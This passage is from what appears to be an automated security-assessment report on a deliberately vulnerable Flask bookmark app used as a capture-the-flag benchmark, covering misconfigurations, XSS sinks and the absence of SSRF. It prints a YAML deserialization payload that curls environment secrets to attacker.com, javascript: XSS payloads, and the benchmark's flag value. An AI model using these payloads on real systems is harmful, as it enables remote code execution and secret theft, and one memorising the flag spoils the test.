- No runtime secret injection (secrets baked into build)
- No encryption of secrets at rest
- Secrets in version control

### Configuration Security

**Apache Web Server Configuration:**
```apache
# File: bookmarks-httpd.conf:1
<VirtualHost *:80>
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf:1`
- **Issue:** HTTP only, no HTTPS/TLS configuration
- **Impact:** All traffic including cookies transmitted in plaintext

**CORS Misconfiguration:**
```apache
# File: bookmarks-httpd.conf:11
Header set Access-Control-Allow-Origin "*"
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf:11`
- **Issue:** Wildcard CORS allows any origin to read responses
- **Impact:** Enables cross-origin attacks, combined with missing CSRF protection

**Directory Indexing Enabled:**
```apache
# File: bookmarks-httpd.conf:15, 22
Options Indexes FollowSymLinks      # Main app directory
Options Indexes MultiViews          # Static files directory
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf:15,22`
- **Issue:** Exposes file system structure
- **Impact:** Information disclosure

**Environment Separation:**
- ❌ No distinction between dev/staging/production configurations
- ❌ Same `.env` file used across environments
- ❌ No environment-specific secret management

### Security Headers - CRITICAL GAPS

**Infrastructure Configuration for Security Headers:**

**Searched for HSTS (Strict-Transport-Security) Configuration:**
- **Apache config:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf` - ❌ NOT FOUND
- **Flask app:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - ❌ NOT FOUND
- **Result:** No HSTS header configured anywhere

**Searched for Cache-Control Configuration:**
```python
# File: routes.py:20-26
@app.after_request
def add_header(request):
    request.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'  # Line 22
    request.headers['Pragma'] = 'no-cache'
    request.headers['Expires'] = '0'
    request.headers['Cache-Control'] = 'public, max-age=0'  # Line 25 - OVERWRITES!
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:22,25`
- **Issue:** Contradictory configuration - line 25 overwrites line 22
- **Result:** Caching is effectively enabled (`public, max-age=0`)

**Missing Security Headers:**
- ❌ **Content-Security-Policy (CSP):** No protection against XSS
- ❌ **X-Frame-Options:** Application can be framed (clickjacking risk)
- ❌ **X-Content-Type-Options:** MIME sniffing enabled
- ❌ **Strict-Transport-Security (HSTS):** No HTTPS enforcement
- ❌ **X-XSS-Protection:** No browser XSS filter
- ❌ **Referrer-Policy:** Potential information leakage

**Present but Problematic:**
```python
# File: routes.py:46
response.headers['Powered-By'] = 'Flask'
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:46`
- **Issue:** Information disclosure header reveals technology stack

### External Dependencies

**Third-Party Python Dependencies:**
```python
# File: requirements.txt
flask
PyYAML==6.0
```
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/requirements.txt`

**Security Implications:**
- **PyYAML 6.0:** Used in unsafe mode (`yaml.Loader`) - enables RCE
- **Flask:** Version not pinned - could pull vulnerable versions
- **Werkzeug:** Dependency of Flask, version not controlled
- No security-focused libraries (rate limiting, input validation, etc.)

**Frontend Dependencies:**
- **Bootstrap 5.3.0:** Loaded from local files, no known vulnerabilities
- **jQuery 3.6.0:** Loaded from local files, no known critical XSS issues

**External Services:**
- ❌ No third-party API integrations
- ❌ No cloud service dependencies
- ❌ No external authentication providers
- ❌ No CDN usage

**Dependency Management Issues:**
- No dependency scanning in build process
- No vulnerability monitoring
- No automated dependency updates
- No Software Bill of Materials (SBOM)

### Monitoring & Logging

**CRITICAL FINDING: No Security Monitoring or Logging**

**Logging Analysis:**
- ❌ No Python `logging` module configuration
- ❌ No application-level audit logs
- ❌ No security event logging
- ❌ No failed operation tracking
- ❌ No anomaly detection

**Default Apache Logs Only:**
- Standard Apache access logs (format not customized)
- Standard Apache error logs
- No centralized log aggregation
- No log analysis or alerting

**Missing Security Monitoring:**
- ❌ No intrusion detection
- ❌ No rate limit violation alerts
- ❌ No failed authentication tracking (no auth system)
- ❌ No suspicious activity detection
- ❌ No real-time security dashboards

**Forensic Capability:**
- Limited to Apache access logs showing HTTP requests
- No application-level context in logs
- Cannot track YAML deserialization attempts
- Cannot detect cookie manipulation
- No audit trail for data modifications

---

## 7. Overall Codebase Indexing

### Directory Structure and Organization

The XBEN-075-24 codebase is organized as a containerized Flask application with a clear separation between infrastructure configuration, application code, and static assets. The repository root contains Docker orchestration files (`docker-compose.yml`, `.env`) and a benchmark metadata file (`benchmark.json`). The primary application code resides within the `app/` directory, which is structured to support both Apache/mod_wsgi deployment (production) and direct Flask execution (development).

Within `app/`, the top-level contains the Apache configuration (`bookmarks-httpd.conf`), Docker build instructions (`Dockerfile`), and the main Python application under `website/`. The `website/` directory follows a modular Flask structure: `run.py` serves as the development entry point, `bookmarks.wsgi` provides the production WSGI interface, and the `app/` subdirectory contains the core application logic. Inside `app/`, the application is organized with `__init__.py` (Flask initialization and secret management), `routes.py` (all HTTP endpoints and request handling), and `models.py` (data structure definitions). The `templates/` subdirectory houses Jinja2 HTML templates (`list_urls.html`, `add.html`, `about.html`), while `static/` contains frontend assets organized into `css/` (Bootstrap and custom styles) and `js/` (jQuery and Bootstrap JavaScript).

This structure follows Flask conventions but introduces security concerns through its simplicity - the lack of a `config/` directory for environment-specific settings, absence of a `tests/` directory, and minimal separation of concerns (all routes in a single file) indicate a minimalist approach that prioritizes functionality over security hardening. The build orchestration is straightforward with no complex multi-stage Docker builds, CI/CD pipelines, or automated security scanning. Critically, the `.env` file containing secrets is present in the repository root, suggesting potential version control exposure. The application uses no code generation tools, ORM frameworks, or testing infrastructure, making it a pure-Python implementation with all security-relevant logic easily discoverable in the three core Python files (`__init__.py`, `routes.py`, `models.py`). This flat organizational structure aids penetration testing reconnaissance but reflects poor security architecture with secrets, configuration, and business logic tightly coupled rather than properly separated.

---

## 8. Critical File Paths

### Configuration Files
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf` - Apache VirtualHost config with CORS wildcard (line 11), directory indexing (lines 15, 22), HTTP-only setup (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/docker-compose.yml` - Container orchestration with FLAG build argument
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/Dockerfile` - Container build with FLAG injection (lines 21-22), runs as www-data user
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/.env` - Plaintext FLAG secret storage (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/benchmark.json` - CTF benchmark metadata

### Authentication & Authorization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py` - Flask app initialization, hardcoded secret key (line 5), FLAG environment variable storage (line 8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - All HTTP endpoints, session cookie creation without security flags (lines 44-45, 68-69, 88-89), no authentication checks on any route

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - Complete routing logic:
  - Root redirect (lines 28-30)
  - List bookmarks with unsafe YAML deserialization (lines 32-49, specifically line 38)
  - Add bookmark with no input validation (lines 51-72, specifically lines 57-58, 61)
  - Delete bookmark with unsafe deserialization (lines 74-92, specifically line 84)
  - About page (lines 95-99)
  - Security headers middleware (lines 20-26)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/bookmarks.wsgi` - Apache mod_wsgi entry point
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/run.py` - Development server entry point

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/models.py` - UrlObj class definition for bookmark storage
- **Note:** No database interaction files - application uses cookie-based storage only

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/requirements.txt` - Python dependencies: Flask, PyYAML 6.0

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py` - Secret key (line 5), FLAG storage (line 8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/.env` - Plaintext FLAG: `flag{ed791869-404b-453f-bf8e-86a09040af65}`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/Dockerfile` - FLAG build argument injection (lines 21-22)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - Base64 encoding/decoding of sensitive cookie data (lines 36, 44, 59, 68, 81, 88)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py` - Minimal validation helper functions (lines 10-18), contradictory cache headers (lines 20-26), information disclosure header (line 46)

### Logging & Monitoring
- **Note:** No custom logging configuration files - relies on default Apache logs only

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/docker-compose.yml` - Single-service deployment, dynamic port mapping
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/Dockerfile` - Debian bullseye-slim base, Apache + mod_wsgi installation, www-data user execution
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/bookmarks-httpd.conf` - Apache HTTP (not HTTPS) configuration on port 80

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/.env` - FLAG environment variable definition (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py` - FLAG set to `os.environ["FLAG"]` (line 8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/Dockerfile` - FLAG injected via sed during build (line 22)
- **Attack Path:** Exploit YAML deserialization RCE → Execute `os.environ["FLAG"]` → Exfiltrate value

### Templates (XSS Sinks)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/list_urls.html` - Bookmark rendering with XSS potential (lines 40-42)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/add.html` - Form without CSRF protection (lines 17-27), error display (line 31)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/about.html` - Static content page

### Static Assets
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/static/css/bootstrap.min.css` - Bootstrap 5.3.0 framework
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/static/css/style.css` - Custom styles
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/static/js/jquery.min.js` - jQuery 3.6.0
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/static/js/bootstrap.bundle.min.js` - Bootstrap JavaScript

---

## 9. XSS Sinks and Render Contexts

### Network Surface Confirmation
All identified XSS sinks are in **publicly accessible web application pages** served via HTTP on port 80. No sinks exist in local-only scripts, build tools, or non-network components.

### CRITICAL: YAML Deserialization Enabling Code Execution

**Primary Attack Vector: Remote Code Execution via Unsafe Deserialization**

While not traditional XSS, the YAML deserialization vulnerability is the most critical "sink" in this application as it allows arbitrary code execution:

**Sink Type:** Command Injection / Remote Code Execution  
**Severity:** CRITICAL

**Location 1:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:38`
```python
urls = yaml.load(urls, Loader=yaml.Loader)
```
- **Endpoint:** `GET /list`
- **User Input Source:** `request.cookies.get('bookmarks')` (base64-decoded)
- **Render Context:** Python object deserialization
- **Exploitability:** DIRECTLY EXPLOITABLE - no filters or sanitization

**Location 2:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:61`
```python
urls = yaml.load(urls, Loader=yaml.Loader)
```
- **Endpoint:** `POST /add`
- **User Input Source:** `request.cookies.get('bookmarks')` (base64-decoded)
- **Render Context:** Python object deserialization
- **Exploitability:** DIRECTLY EXPLOITABLE

**Location 3:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:84`
```python
urls = yaml.load(urls, Loader=yaml.Loader)
```
- **Endpoint:** `GET /delete`
- **User Input Source:** `request.cookies.get('bookmarks')` (base64-decoded)
- **Render Context:** Python object deserialization
- **Exploitability:** DIRECTLY EXPLOITABLE

**Exploitation Example:**
```yaml
!!python/object/apply:os.system
args: ['curl http://attacker.com?flag=$(env | grep FLAG)']
```

### HTML Context XSS Sinks

**Sink 1: Bookmark Name Display**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/list_urls.html:40`
- **Code:** `<h5 class="mb-1">{{ item.name }}</h5>`
- **Sink Type:** HTML Body Context
- **Render Context:** Content within `<h5>` element
- **User Input Source:** `request.form.get('name')` from `/add` endpoint (routes.py:57)
- **Data Flow:** POST form → UrlObj.name → YAML serialization → cookie → deserialization → Jinja2 template
- **Exploitability:** MITIGATED by Jinja2 auto-escaping (default enabled)
- **Note:** If auto-escaping disabled or `|safe` filter used, becomes exploitable

**Sink 2: Bookmark URL in href Attribute - CRITICAL XSS**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/list_urls.html:41`
- **Code:** `<a class="text-decoration-none" href="{{ item.url }}" target="_blank">{{ item.url }}</a>`
- **Sink Type:** HTML Attribute Context (href) + HTML Body Context
- **Render Context:** URL in `href` attribute AND visible link text
- **User Input Source:** `request.form.get('url')` from `/add` endpoint (routes.py:58)
- **Data Flow:** POST form → UrlObj.url → YAML → cookie → deserialization → template
- **Exploitability:** **DIRECTLY EXPLOITABLE**
  - **JavaScript URLs:** `javascript:alert(document.cookie)` will execute
  - **Data URLs:** `data:text/html,<script>alert(1)</script>` will execute
  - Auto-escaping does NOT prevent JavaScript URL execution in href attributes
  - **CONFIRMED VULNERABILITY**

**Sink 3: Bookmark Name in Query Parameter**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/list_urls.html:42`
- **Code:** `<a class="btn btn-sm btn-danger" href="delete?name={{ item.name }}" target="_blank">delete</a>`
- **Sink Type:** URL Context (query parameter value)
- **Render Context:** Query string in href attribute
- **User Input Source:** `request.form.get('name')` from `/add` endpoint
- **Data Flow:** Same as Sink 1
- **Exploitability:** POTENTIALLY EXPLOITABLE
  - If name contains special characters (`"`, `'`, `&`, `?`), could break out of href
  - Jinja2 auto-escaping applies but URL context injection still possible
  - Could inject additional parameters or fragments
  - **MEDIUM RISK** - requires specific character sequences

**Sink 4: Error Message Display**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/add.html:31`
- **Code:** `{{ error }}`
- **Sink Type:** HTML Body Context
- **Render Context:** Content within alert div
- **User Input Source:** Currently hardcoded string `'Name already used'` (routes.py:63)
- **Data Flow:** Backend hardcoded → template variable → Jinja2 render
- **Exploitability:** NOT EXPLOITABLE (current implementation)
- **Note:** If code changes to include user input in error messages, becomes exploitable
- **FUTURE RISK** - fragile design

### JavaScript Context Sinks
**FINDING: No JavaScript Context Sinks Detected**

**Analysis:**
- No custom JavaScript files with user input rendering
- No `eval()`, `Function()`, `setTimeout(string)`, or `setInterval(string)` with user data
- No dynamic `<script>` tag generation with user input
- Only third-party libraries (jQuery 3.6.0, Bootstrap 5.3.0 - no known XSS in these versions)

### CSS Context Sinks
**FINDING: No CSS Context Sinks Detected**

**Analysis:**
- No inline `style` attributes with user input
- No dynamic CSS generation
- No `element.style` manipulation with user data
- Static CSS files only

### Template Injection Sinks
**FINDING: No Server-Side Template Injection (SSTI) Sinks**

**Analysis:**
- `render_template_string` imported (routes.py:1) but **NEVER USED**
- All templates use `render_template()` with static template files
- No dynamic template generation from user input
- Jinja2 auto-escaping provides protection against most template injection

### SQL Injection Sinks
**FINDING: No SQL Injection Sinks**

**Analysis:**
- Application has NO DATABASE
- No SQL queries, ORM usage, or database connections
- Data stored exclusively in cookies (YAML serialization)

### Command Injection (via YAML)
**See "CRITICAL: YAML Deserialization" section above** - This is the primary command injection vector through unsafe object deserialization.

### Summary of Exploitable Sinks

**CRITICAL (Direct RCE):**
1. routes.py:38 - YAML deserialization in `/list` route
2. routes.py:61 - YAML deserialization in `/add` route
3. routes.py:84 - YAML deserialization in `/delete` route

**HIGH (XSS Confirmed):**
4. list_urls.html:41 - JavaScript URL in href attribute

**MEDIUM (Potential Injection):**
5. list_urls.html:42 - Query parameter injection in delete link
6. routes.py:57-58 - No input validation enabling downstream attacks

**LOW (Mitigated or Minimal):**
7. list_urls.html:40 - HTML body (mitigated by auto-escape)
8. add.html:31 - Error message (currently hardcoded)

### Exploitation Priority for Penetration Testing

1. **Priority 1:** YAML deserialization RCE (3 instances) - Target for FLAG extraction
2. **Priority 2:** JavaScript URL XSS - Potential for session theft if cookies were HttpOnly-protected
3. **Priority 3:** Input validation bypass - Enable multiple attack chains
4. **Priority 4:** Parameter injection - Logic manipulation attacks

---

## 10. SSRF Sinks

### Executive Summary
After comprehensive analysis of all network-accessible components, **NO SSRF (Server-Side Request Forgery) vulnerabilities exist** in the XBEN-075-24 application.

### Network Surface Confirmation
All application routes (`/`, `/list`, `/add`, `/delete`, `/about`) are network-accessible and were analyzed. No SSRF sinks were found in any public-facing components.

### Analysis by Category

#### HTTP Client SSRF Sinks
**FINDING: None Found**

**Analysis:**
- No HTTP client libraries imported or used in the application
- Searched all Python files for:
  - ❌ `requests` library - NOT PRESENT
  - ❌ `urllib`, `urllib2`, `urllib3` - NOT PRESENT
  - ❌ `http.client` / `httplib` - NOT PRESENT
  - ❌ `socket` module for network connections - NOT PRESENT

**Files Analyzed:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/__init__.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/models.py`

**Import Statement Analysis:**
```python
# All imports from routes.py:
from flask import Flask, render_template, render_template_string, redirect, url_for, request, session, Response, make_response
from app import app
from app.models import UrlObj
from uuid import uuid4
import yaml 
import base64
```
**Conclusion:** No HTTP client functionality present.

#### File Include / URL Loading SSRF Sinks
**FINDING: None Found**

**Analysis:**
- No file operations with URL support
- No `file_get_contents`, `fopen` with URLs, or `open()` with network paths
- No dynamic imports with user-controlled URLs
- All file operations (if any) are local filesystem only

#### Redirect / URL Handler Sinks
**FINDING: Client-Side Redirects Only - No Server-Side SSRF**

**Internal Redirects (No SSRF Risk):**

**Location 1:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:30`
```python
return redirect(url_for('bookmarks_list'))
```
- **Endpoint:** `GET /`
- **Redirect Type:** Internal Flask route redirect
- **SSRF Risk:** None - redirects to application route only

**Location 2:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:72`
```python
return redirect(url_for('bookmarks_list'))
```
- **Endpoint:** `POST /add` (error path)
- **Redirect Type:** Internal Flask route redirect
- **SSRF Risk:** None

**Location 3:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:78`
```python
if not request.args.get('name'):
    return redirect(url_for('bookmarks_list'))
```
- **Endpoint:** `GET /delete` (validation failure)
- **Redirect Type:** Internal Flask route redirect
- **SSRF Risk:** None

**Location 4:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/routes.py:92`
```python
return redirect(url_for('bookmarks_list'))
```
- **Endpoint:** `GET /delete` (completion path)
- **Redirect Type:** Internal Flask route redirect
- **SSRF Risk:** None

**User-Supplied URLs (Client-Side Only):**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-075-24/app/website/app/templates/list_urls.html:41`
```html
<a class="text-decoration-none" href="{{ item.url }}" target="_blank">{{ item.url }}</a>
```
- **URL Source:** User-submitted via `/add` form (routes.py:58)
- **Processing:** Stored in cookie as YAML, rendered in HTML template
- **Navigation:** **CLIENT-SIDE ONLY** - user's browser navigates, not the server
- **SSRF Risk:** None - server never fetches the URL

**Conclusion:** All redirects are internal application routes. User-supplied URLs are rendered as client-side hyperlinks with `target="_blank"` - the **user's browser** follows the link, not the server. No server-side request forgery possible.

#### Headless Browsers & Render Engines
**FINDING: None Found**

**Analysis:**
- No Puppeteer, Playwright, Selenium, or headless browser libraries
- No HTML-to-PDF converters (wkhtmltopdf, Puppeteer PDF)
- No server-side rendering of external URLs

#### Media Processors
**FINDING: None Found**

**Analysis:**
- No ImageMagick, GraphicsMagick, FFmpeg usage
- No image processing libraries with URL support
- No PDF generation from URLs

#### Link Preview & Unfurlers
**FINDING: None Found**

**Analysis:**
- No oEmbed endpoint fetchers
- No URL metadata extraction
- No social media card generation
- No link preview functionality

#### Webhook Testers & Callback Verifiers
**FINDING: None Found**

**Analysis:**
- No webhook testing endpoints
- No callback verification mechanisms
- No outbound HTTP request testing features

#### SSO/OIDC Discovery & JWKS Fetchers
**FINDING: None Found**

**Analysis:**
- No OAuth, OpenID Connect, or SSO implementation
- No JWKS (JSON Web Key Set) fetching
- No authentication provider discovery
- No token endpoint communication

#### Importers & Data Loaders
**FINDING: None Found**

**Analysis:**
- No "Import from URL" functionality
- No remote CSV/JSON/XML loaders
- No RSS/Atom feed readers
- No external data synchronization

#### Cloud Metadata Helpers
**FINDING: None Found**

**Analysis:**
- No cloud metadata service calls
- No AWS/GCP/Azure SDK usage
- No instance metadata queries
- No cloud service discovery

### Complete Absence of Outbound HTTP Functionality

**Dependency Analysis:**
```
# File: requirements.txt
flask
PyYAML==6.0
```

**No HTTP client libraries** in dependencies:
- ❌ No `requests`
- ❌ No `urllib3`
- ❌ No `httpx`
- ❌ No `aiohttp`

**Application Behavior:**
The bookmark application accepts URLs from users via the `/add` endpoint and stores them in cookies, but it:
1. **Never makes server-side HTTP requests** to user-supplied URLs
2. **Never fetches or processes** the content of bookmarked URLs  
3. **Only renders URLs as client-side hyperlinks** in HTML templates
4. **Does not include any HTTP client libraries** or network request functionality

### Conclusion

**No SSRF vulnerabilities exist in this application.** 

The application's security concerns lie in other vulnerability classes (YAML deserialization RCE, XSS, missing authentication), but SSRF is **not a vulnerability present in this codebase**.

The bookmark manager is a pure display application - it stores URL strings and renders them as links for users to click, but the server never initiates outbound HTTP requests based on user input.

---

**END OF COMPREHENSIVE CODE ANALYSIS REPORT**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-28T19:14:27.203Z